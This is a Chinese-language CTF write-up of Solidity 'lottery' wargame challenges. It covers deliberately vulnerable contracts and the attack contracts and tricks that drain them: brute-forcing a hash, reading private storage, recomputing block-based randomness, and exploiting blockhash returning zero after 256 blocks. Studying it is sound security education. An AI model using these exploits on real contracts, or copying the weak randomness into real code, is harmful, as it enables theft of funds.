在以太坊官网发现了这个 wargame,项目已经比较老了(solidity 版本为 0.4.21)。做完之后发现题目质量是相当高的,比起 Ethernaut 更综合也更有趣~
Warmup
这个部分都是熟悉环境用的,略过
Lotteries
Guess the number
目标合约
pragma solidity ^0.4.21;
contract GuessTheNumberChallenge {
uint8 answer = 42;
function GuessTheNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
通关条件
猜中合约的 answer 的值
题目分析
答案就在代码里,42
Guess the secret number
目标合约
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
通关条件
猜中合约的 answer 的值
题目分析
代码里只有答案的 keccak-sha3 hash 值了。但是注意到答案的数据类型是 uint8,范围非常小,所以遍历一下就出来了,170
Guess the random number
目标合约
pragma solidity ^0.4.21;
contract GuessTheRandomNumberChallenge {
uint8 answer;
function GuessTheRandomNumberChallenge() public payable {
require(msg.value == 1 ether);
answer = uint8(keccak256(block.blockhash(block.number - 1), now));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
通关条件
猜中合约的 answer 的值
题目分析
回顾一下 Ethernaut 第八题的题解,从 Storage 的存储布局可知答案在 Storage 的第一个 slot 中, web3.eth.getStorageAt('contractAddr', 0)
即可获得答案
Guess the new number
目标合约
pragma solidity ^0.4.21;
contract GuessTheNewNumberChallenge {
function GuessTheNewNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
if (n == answer) {
msg.sender.transfer(2 ether);
}
}
}
通关条件
猜中合约的 answer 的值
题目分析
答案是在 guess 的时候使用 block.blockhash(block.number - 1)
和 now
这些公开的区块信息生成,所以部署一个攻击合约去 guess 就好。合约如下:
contract GuessTheNewNumberChallengeHack {
address owner;
GuessTheNewNumberChallenge c;
constructor(GuessTheNewNumberChallenge _c) public {
owner = msg.sender;
c = _c;
}
function hack() public payable {
require(msg.value == 1 ether);
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))));
c.guess.value(msg.value)(answer);
}
function destroy() public {
selfdestruct(owner);
}
function() public payable {}
}
Predict the future
目标合约
pragma solidity ^0.4.21;
contract PredictTheFutureChallenge {
address guesser;
uint8 guess;
uint256 settlementBlockNumber;
function PredictTheFutureChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
通关说明
此题使用了一种延迟开奖的机制。在 guess 之后,需要再过至少两个块才能开奖(settle()),开奖之后 guesser 会被重置,所以每次 guess 只能开奖一次。
题目分析
由于这题的答案也是由区块信息生成的,所以我们可以知道每个块会公布的答案是什么,这也就意味着我们可以在答案和我们 guess 的值相同的时候再去开奖。合约如下:
contract PredictTheFutureChallengeHack {
address owner;
PredictTheFutureChallenge c;
uint8 myGuess = 2;
constructor(PredictTheFutureChallenge _c) public {
owner = msg.sender;
c = _c;
}
function guess() public payable {
require(msg.value == 1 ether);
c.lockInGuess.value(msg.value)(myGuess);
}
function hack() public {
uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))) % 10;
if (answer == myGuess) {
c.settle();
}
}
function destroy() public {
selfdestruct(owner);
}
function() public payable {}
}
尽管如此,每次操作成功猜中的概率也只有 1 / 10,还是写个脚本处理方便(事实上,我猜了三十几次才猜中 T^T)。
Predict the block hash
目标合约
pragma solidity ^0.4.21;
contract PredictTheBlockHashChallenge {
address guesser;
bytes32 guess;
uint256 settlementBlockNumber;
function PredictTheBlockHashChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function lockInGuess(bytes32 hash) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = hash;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
bytes32 answer = block.blockhash(settlementBlockNumber);
guesser = 0;
if (guess == answer) {
msg.sender.transfer(2 ether);
}
}
}
通关条件
猜中未来的 block.blockhash
题目分析
没做出来,看了这篇题解,确实是没想到这个思路(其实还是对文档不熟悉)。核心在于 block.blockhash 只对最近的 256 个区块有效,超出 256 个区块则一律返回 0x0000000000000000000000000000000000000000000000000000000000000000
。我们可以将这个值作为答案,然后等过了 256 个区块再 settle() 即可。